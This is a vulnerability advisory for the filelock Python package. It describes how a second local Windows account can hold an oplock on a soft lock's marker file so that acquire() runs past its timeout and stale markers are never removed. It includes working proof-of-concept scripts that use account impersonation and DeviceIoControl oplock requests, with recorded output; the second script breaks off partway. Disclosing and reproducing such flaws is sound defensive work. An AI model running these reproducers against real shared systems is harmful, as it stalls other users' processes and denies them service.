Skip to content

GHSA-567q-5qvw-pf92 CVE-2026-112907

filelock: On Windows an oplock on a soft lock's marker holds SoftFileLock.acquire() past its timeout and blocks the stale break

Low PyPI
Severity
2.5 / 10
Low · CVSS 3.1
Exploit chance (EPSS)
—
No score published
Known exploited
No
Not in CISA's catalog
Weakness
CWE-667 Improper Locking
Fix
4.2.1
Upgrade filelock to this version or later

Description

On Windows the soft locks (SoftFileLock, MarkerSoftFileLock, SoftFileLease, their async forms, and a FileLock that fell back to a soft lock) read their marker by path. The marker is the lock file whose presence says a process holds the lock. Each acquire() attempt that finds a marker opens it with os.open to read the holder's process id, and the lock renames and deletes a marker it judges stale, by path. On Windows each of these calls waits for an oplock. An oplock (opportunistic lock) is a request by a process that holds a handle on a file to be told before another process opens, renames or deletes that file; the other process waits until the holder answers the break or closes its handle.

Another local account that can open the marker for reading can take a Level 1 oplock on it while no process holds it open, and leave the break unanswered. Every acquire() by the user running the lock (below: the lock user) then waits inside the open, past its timeout, blocking=False and cancel_check, and a stale marker under that oplock is not broken. Mutual exclusion holds and the lock touches no other file. Affected versions are filelock 3.22.0 through 4.2.0 on Windows. The maintainers found this while reviewing the fix for the report Anthropic's OSS Scanner sent on 15 October 2026 (review round 4, finding F4); it is not among the scanner's findings.

Severity

CVSS 3.1 CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L scores 2.5 (Low).

AV:L (local): the other account needs a logon on the same host. AC:H (high attack complexity): Windows grants a Level 1 or batch oplock only to the sole open handle on a file, so the marker must have no holder handle when the other account asks. That account cannot bring this about; it waits for a holder that died, closed its descriptor, or left a marker past its lifetime. PR:L (low privileges): an ordinary account with read access to the marker through the directory's inherited ACL (access control list). UI:N (no user interaction). S:U (scope unchanged). C:N and I:N: that account can read the marker's content (process id and host name) anyway, and mutual exclusion holds. A:L (partial availability impact): one thread, or the event loop with run_in_executor=False, waits until the holder answers; 10 s per attempt in the two-account runs, no crash. Metrics in doubt take the lower reading.

Classification from the review: security, conditional on an unheld marker that another account can open.

Scope and preconditions

  • Platform and classes: Windows only. SoftFileLock, MarkerSoftFileLock, SoftFileLease, AsyncSoftFileLock and the other async soft locks, and FileLock after its ENOSYS fallback to a soft lock. WindowsFileLock opens its lock file on a separate code path that this advisory does not cover.
  • Marker access: the soft locks create the marker with os.open, which on Windows applies no more of mode than the read-only attribute (GHSA-8mx5-7m5m-r77g). The marker carries the lock directory's inheritable entries. Another account that those entries grant read access to new files can open the marker with a read handle that shares read, write and delete.
  • Unheld marker: no handle may be open on the marker when the other account requests the oplock. That is a holder that died and left its marker, a holder that closed its descriptor, or a marker whose lifetime has passed. While the holder keeps its handle, the request fails.
  • Holder behavior: the other account requests the oplock through an overlapped DeviceIoControl and never acknowledges the break. Windows cancels a thread's pending request when the thread exits, so the holder thread stays alive. A same-account process that answers slowly, such as an indexer, has the same effect for its answer time.
  • What the lock user sees: SoftFileLock.acquire(timeout=1) returned Timeout after 10.02 s with the second account's handle. In the same-account probe os.open with O_RDONLY was still running after 15 s and returned once the holder closed. The retry loop consults timeout, blocking=False and cancel_check between attempts only. With AsyncSoftFileLock(run_in_executor=False) the event loop waits.
  • Stale break: break_lock_file renames and unlinks by path. Both calls wait in the same way, so a stale marker under such an oplock stays, and no process acquires the lock until the holder closes.
  • Not affected: mutual exclusion, and the lock reads, writes and deletes no file other than the marker.

Affected code

Scanned commit b831496b0273: the os.open in _read_lock_file (function), called from _try_break_stale_lock on every attempt that finds a marker, and from _unprobeable_holder, pid and is_lock_held_by_us. break_lock_file renames at L116 and unlinks at L118 and L122, by path. _poll_until_acquired and _check_give_up test the deadline, blocking and cancel_check only between attempts.

Introduced

e35c3af "feat(soft): detect and break stale locks" (#476, 2026-02-13), first tag 3.22.0 (verified with git tag --contains). Before it a soft lock created its marker with O_CREAT | O_EXCL and never opened an existing one. #476 read the marker on Windows through CreateFileW and broke a stale one with Path.rename and Path.unlink. These wait for an oplock as os.open does, because none of them passes FILE_COMPLETE_IF_OPLOCKED, an NtCreateFile option that returns instead of waiting. The read became the os.open in _read_lock_file with bfbfa76 (#548, 3.29.1) and the break moved into break_lock_file with d244c6d (#551, 3.29.2); the by-path calls stayed.

Mechanism

Each attempt of _acquire first calls os.open(path, O_WRONLY | O_CREAT | O_EXCL). On an existing marker that fails with EEXIST (or EACCES on Windows) at once; the same-account probe shows the failed exclusive create returning at once under an oplock too. _acquire then calls _try_break_stale_lock, which calls _read_lock_file: os.lstat, then os.open(path, O_RDONLY | O_NOFOLLOW | O_NONBLOCK). On Windows O_NOFOLLOW and O_NONBLOCK do not exist (the code reads them with getattr(os, ..., 0)), and os.open calls CreateFileW. When another handle holds a Level 1 or batch oplock on the file, that call sends the holder a break request and returns only when the holder acknowledges it or closes its handle. _check_give_up tests the deadline after the attempt returns, so the wait overruns timeout, blocking=False and cancel_check by its length. Once the open returns, the attempt ends and _check_give_up raises Timeout, because the deadline has passed.

A marker whose holder is gone takes the second path. break_lock_file renames it to a break name and unlinks it, by path. On Windows the rename and the delete open the file with delete access, which breaks a Level 1 or batch oplock the same way; the same-account probe shows os.rename and os.unlink still running after 15 s and returning once the holder closed. The lifetime break at L123 runs the same function. A stale marker under such an oplock is therefore not removed, and every attempt by every process waits inside the read. The other account can request the oplock again as soon as the lock user's handle closes, between two attempts or two acquire() calls, as in the Linux lease case of GHSA-7hmp-gf99-57hx. Nothing in the retry loop bounds this wait.

Reproduction

The review's reproducers, quoted as received. oplock_vm.py section [2] is this finding; sections [1a] and [1b] belong to the release() advisory. oplock_semantics_vm.py is the same-account probe of which path operations wait. They ran on a Windows 11 VM (NTFS, CPython 3.14.8) against the head of PR #835 at 3e4c5ef, where _read_lock_file and break_lock_file are the same code as at b831496b0273 apart from import changes. The second account fltester is a member of Users; the directory grants it (OI)(CI)(M).

oplock_vm.py

"""
Windows oplock checks beyond the lock-file open PR #835 changes: release() and the soft locks' marker read.

Run on the VM (PowerShell, from the synced worktree, with the fltester account present):
  C:\\venvs\\rev4F\\Scripts\\python.exe oplock_vm.py fltester '<password>' C:\\tmp\\rev4F-oplock

[1] A second account keeps requesting a Level 1 oplock on the lock file through a read handle that shares delete.
    WindowsFileLock._release closes its handle and then unlinks by path; an oplock granted in between makes the
    DeleteFileW inside os.unlink wait for the holder's acknowledgement. [1a] races the close-to-unlink window as is;
    [1b] widens that window to 200 ms with a patched os.unlink so the grant lands inside it.
[2] A second account holds a Level 1 oplock on a soft-lock marker whose holder is alive. SoftFileLock.acquire reads the
    marker through os.open, which waits for the acknowledgement, past timeout=1.

A thread that exits has its pending oplock request cancelled, so every holder thread stays alive until the end.
"""

from __future__ import annotations

import ctypes
import os
import subprocess
import sys
import threading
import time
from ctypes import wintypes

from filelock import FileLock, SoftFileLock, Timeout

user, password, base = sys.argv[1], sys.argv[2], sys.argv[3]
icacls = os.path.join(os.environ["SYSTEMROOT"], "System32", "icacls.exe")
os.makedirs(base, exist_ok=True)
subprocess.run([icacls, base, "/grant", f"{user}:(OI)(CI)(M)"], check=True, capture_output=True)

advapi32 = ctypes.WinDLL("advapi32", use_last_error=True)
kernel32 = ctypes.WinDLL("kernel32", use_last_error=True)
advapi32.LogonUserW.argtypes = [
    wintypes.LPCWSTR,
    wintypes.LPCWSTR,
    wintypes.LPCWSTR,
    wintypes.DWORD,
    wintypes.DWORD,
    ctypes.POINTER(wintypes.HANDLE),
]
kernel32.CreateFileW.restype = kernel32.CreateEventW.restype = wintypes.HANDLE
kernel32.CreateFileW.argtypes = [
    wintypes.LPCWSTR,
    wintypes.DWORD,
    wintypes.DWORD,
    ctypes.c_void_p,
    wintypes.DWORD,
    wintypes.DWORD,
    wintypes.HANDLE,
]


class Overlapped(ctypes.Structure):
    _fields_ = (
        ("Internal", ctypes.c_void_p),
        ("InternalHigh", ctypes.c_void_p),
        ("Offset", wintypes.DWORD),
        ("OffsetHigh", wintypes.DWORD),
        ("hEvent", wintypes.HANDLE),
    )


kernel32.DeviceIoControl.argtypes = [
    wintypes.HANDLE,
    wintypes.DWORD,
    ctypes.c_void_p,
    wintypes.DWORD,
    ctypes.c_void_p,
    wintypes.DWORD,
    ctypes.c_void_p,
    ctypes.POINTER(Overlapped),
]
kernel32.CloseHandle.argtypes = [wintypes.HANDLE]
kernel32.WaitForSingleObject.argtypes = [wintypes.HANDLE, wintypes.DWORD]

GENERIC_READ = 0x80000000
SHARE_ALL = 0x7
OPEN_EXISTING = 3
FLAG_OVERLAPPED = 0x40000000
INVALID_HANDLE = wintypes.HANDLE(-1).value
FSCTL_REQUEST_OPLOCK_LEVEL_1 = 0x00090000
ERROR_IO_PENDING = 997
hold = threading.Event()
real_unlink = os.unlink


def impersonate() -> None:
    token = wintypes.HANDLE()
    if not advapi32.LogonUserW(user, ".", password, 3, 0, ctypes.byref(token)):
        raise ctypes.WinError(ctypes.get_last_error())
    if not advapi32.ImpersonateLoggedOnUser(token):
        raise ctypes.WinError(ctypes.get_last_error())


def request_level1(path: str) -> tuple[int, Overlapped] | None:
    handle = kernel32.CreateFileW(path, GENERIC_READ, SHARE_ALL, None, OPEN_EXISTING, FLAG_OVERLAPPED, None)
    if handle == INVALID_HANDLE:
        return None
    overlapped = Overlapped(hEvent=kernel32.CreateEventW(None, True, False, None))
    if (
        not kernel32.DeviceIoControl(handle, FSCTL_REQUEST_OPLOCK_LEVEL_1, None, 0, None, 0, None, ctypes.byref(overlapped))
        and ctypes.get_last_error() == ERROR_IO_PENDING
    ):
        return handle, overlapped
    kernel32.CloseHandle(handle)
    kernel32.CloseHandle(overlapped.hEvent)
    return None


def drop(granted: tuple[int, Overlapped]) -> None:
    handle, overlapped = granted
    kernel32.CloseHandle(handle)
    kernel32.WaitForSingleObject(overlapped.hEvent, 5000)
    kernel32.CloseHandle(overlapped.hEvent)


def release_under_oplock_requests(label: str, lock_path: str, cycles: int) -> bool:
    stop = threading.Event()
    granted_box: list[tuple[int, Overlapped]] = []

    def spinner() -> None:
        impersonate()
        while not stop.is_set():
            if (granted := request_level1(lock_path)) is not None:
                granted_box.append(granted)
                hold.wait()
                return

    releasing = threading.Event()
    release_durations: list[float] = []

    def owner() -> None:
        # thread_local locks release only on the acquiring thread, so acquire and release stay on this one
        for _ in range(cycles):
            lock = FileLock(lock_path, is_singleton=False)
            lock.acquire(timeout=5)
            started = time.monotonic()
            releasing.set()
            lock.release()
            releasing.clear()
            release_durations.append(time.monotonic() - started)
            if granted_box:
                return

    holder = threading.Thread(target=spinner, daemon=True)
    holder.start()
    owner_thread = threading.Thread(target=owner, daemon=True)
    owner_thread.start()
    owner_thread.join(60)
    stalled = owner_thread.is_alive() and releasing.is_set()
    stop.set()
    longest = max(release_durations, default=0.0) * 1000
    print(f"  {label}: oplock granted: {bool(granted_box)}; cycles run: {len(release_durations)}; longest release: {longest:.1f} ms")
    if stalled:
        print("  release() still running after 60 s while the oplock holder has not answered the break")
        if granted_box:
            drop(granted_box[0])
        owner_thread.join(10)
        print(f"  release() returned after the holder closed its handle: {not owner_thread.is_alive()}")
    return stalled


print("[1a] release() against a second account that keeps requesting a Level 1 oplock, natural window")
stalled_native = release_under_oplock_requests("natural", os.path.join(base, "native.lock"), 500)

print("[1b] the same, with the window between the handle close and the unlink widened to 200 ms")


def slow_unlink(path: str, *, dir_fd: int | None = None) -> None:
    time.sleep(0.2)
    real_unlink(path, dir_fd=dir_fd)


os.unlink = slow_unlink
stalled_scheduled = release_under_oplock_requests("scheduled", os.path.join(base, "native-scheduled.lock"), 20)
os.unlink = real_unlink

print("[2] SoftFileLock.acquire(timeout=1) against a second account's Level 1 oplock on a live marker")
marker = os.path.join(base, "soft.lock")
holder = SoftFileLock(marker, is_singleton=False)
holder.acquire()
holder_fd = holder._context.lock_file_fd  # noqa: SLF001
os.close(holder_fd)  # the marker stays with a live PID, as after a holder that lost only its handle
impersonate_done = threading.Event()
granted_soft: list[tuple[int, Overlapped]] = []


def take_soft_oplock() -> None:
    impersonate()
    if (granted := request_level1(marker)) is not None:
        granted_soft.append(granted)
    impersonate_done.set()
    hold.wait()


threading.Thread(target=take_soft_oplock, daemon=True).start()
impersonate_done.wait(5)
print(f"  oplock granted: {bool(granted_soft)}")
outcome = ["still running after 25 s"]


def contend() -> None:
    started = time.monotonic()
    try:
        SoftFileLock(marker, is_singleton=False).acquire(timeout=1)
        outcome[0] = f"acquired after {time.monotonic() - started:.2f} s"
    except Timeout:
        outcome[0] = f"Timeout after {time.monotonic() - started:.2f} s"
    except OSError as error:
        outcome[0] = f"{type(error).__name__} after {time.monotonic() - started:.2f} s: {error}"


contender = threading.Thread(target=contend, daemon=True)
contender.start()
contender.join(25)
print(f"  contender: {outcome[0]}")
soft_stalled = "still running" in outcome[0]
if granted_soft:
    drop(granted_soft[0])
    contender.join(10)
    print(f"  after the holder closed: {outcome[0]}")
hold.set()
print("STALLS" if stalled_native or stalled_scheduled or soft_stalled else "BOUNDED")

Recorded output of section [2]:

[2] SoftFileLock.acquire(timeout=1) against a second account's Level 1 oplock on a live marker
  oplock granted: True
  contender: Timeout after 10.02 s
  after the holder closed: Timeout after 10.02 s

oplock_semantics_vm.py

"""
Which path operations wait for an unanswered oplock break on Windows 11 NTFS. Same account, one process.

Run on the VM: C:\\venvs\\rev4F\\Scripts\\python.exe oplock_semantics_vm.py C:\\tmp\\rev4F-sem
"""

from __future__ import annotations

import ctypes
import os
import sys
import threading
import time
from ctypes import wintypes

base = sys.argv[1]
os.makedirs(base, exist_ok=True)
kernel32 = ctypes.WinDLL("kernel32", use_last_error=True)
kernel32.CreateFileW.restype = kernel32.CreateEventW.restype = wintypes.HANDLE
kernel32.CreateFileW.argtypes = [
    wintypes.LPCWSTR,
    wintypes.DWORD,
    wintypes.DWORD,
    ctypes.c_void_p,
    wintypes.DWORD,
    wintypes.DWORD,
    wintypes.HANDLE,
]


class Overlapped(ctypes.Structure):
    _fields_ = (
        ("Internal", ctypes.c_void_p),
        ("InternalHigh", ctypes.c_void_p),
        ("Offset", wintypes.DWORD),
        ("OffsetHigh", wintypes.DWORD),
        ("hEvent", wintypes.HANDLE),
    )


kernel32.DeviceIoControl.argtypes = [
    wintypes.HANDLE,
    wintypes.DWORD,
    ctypes.c_void_p,
    wintypes.DWORD,
    ctypes.c_void_p,
    wintypes.DWORD,
    ctypes.c_void_p,
    ctypes.POINTER(Overlapped),
]
kernel32.CloseHandle.argtypes = [wintypes.HANDLE]
kernel32.WaitForSingleObject.argtypes = [wintypes.HANDLE, wintypes.DWORD]
GENERIC_READ, GENERIC_WRITE = 0x80000000, 0x40000000
SHARE_ALL, OPEN_EXISTING, FLAG_OVERLAPPED = 0x7, 3, 0x40000000
INVALID_HANDLE = wintypes.HANDLE(-1).value
LEVELS = {"level1": 0x00090000, "batch": 0x00090008}


def take(path: str, level: str) -> tuple[int, Overlapped]:
    handle = kernel32.CreateFileW(path, GENERIC_READ, SHARE_ALL, None, OPEN_EXISTING, FLAG_OVERLAPPED, None)
    overlapped = Overlapped(hEvent=kernel32.CreateEventW(None, True, False, None))
    pending = not kernel32.DeviceIoControl(handle, LEVELS[level], None, 0, None, 0, None, ctypes.byref(overlapped))
    assert pending and ctypes.get_last_error() == 997, ctypes.get_last_error()
    return handle, overlapped


def drop(granted: tuple[int, Overlapped]) -> None:
    kernel32.CloseHandle(granted[0])
    kernel32.WaitForSingleObject(granted[1].hEvent, 5000)
    kernel32.CloseHandle(granted[1].hEvent)


def timed(label: str, operation) -> None:  # noqa: ANN001
    done = threading.Event()
    result…

Affected versions

PyPI

PackageVulnerableFixed in
filelock
>= 3.22.0, < 4.2.1
4.2.1

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

filelock PyPI → 4.2.1

pip
pip install --upgrade "filelock>=4.2.1"
poetry
poetry add "filelock>=4.2.1"
uv
uv add "filelock>=4.2.1"

Severity breakdown

CVSS 3.1 2.5

CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L

Attack vector
Local
Attack complexity
High
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
Low

Weakness

CWE-667: Improper Locking

The product does not properly acquire or release a lock on a resource, leading to unexpected resource state changes and behaviors.

How to prevent it
  • Implementation: Use industry standard APIs to implement locking mechanism.

References

Timeline

  1. Published
  2. Last updated by the source
AdvisorySeverityWhy it's related
GHSA-wfhq-q4j2-c37m
filelock: SoftReadWriteLock follows a lock tree swapped in after its first acquire and writes lock records into directories of the user running the lock
Low Also affects filelock
GHSA-6627-m3xw-93mp
filelock: StrictSoftFileLock creates its claim directories without the lock mode, so another local user with a write bit on them can end a live hold
Medium Also affects filelock
GHSA-9c4x-gm8v-wgc4
filelock: StrictSoftFileLock and SoftReadWriteLock adopt a protocol directory another user created first, losing mutual exclusion
Medium Also affects filelock
GHSA-8mx5-7m5m-r77g
filelock: WindowsFileLock ignores mode: a 0o600 lock file and the ReadWriteLock database inherit the directory ACL
Medium Also affects filelock
GHSA-cwqr-hh33-gh44
filelock ReadWriteLock: a crafted lock database makes every acquire stall or hang regardless of timeout
Medium Also affects filelock
GHSA-rfpc-qcw5-3pc4
filelock: SoftFileLock removes a live holder's marker when another user forges the PID in a writable marker
Medium Also affects filelock
GHSA-9j6q-wvj5-jgjg
filelock: Symlink swap during SoftFileLock's writability check leaks whether a path exists and is writable by the lock taker
Low Also affects filelock
GHSA-69hj-f68j-2879
filelock: UnixFileLock truncates and chmods any regular file another user renames or hard-links onto the lock path
Medium Also affects filelock
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor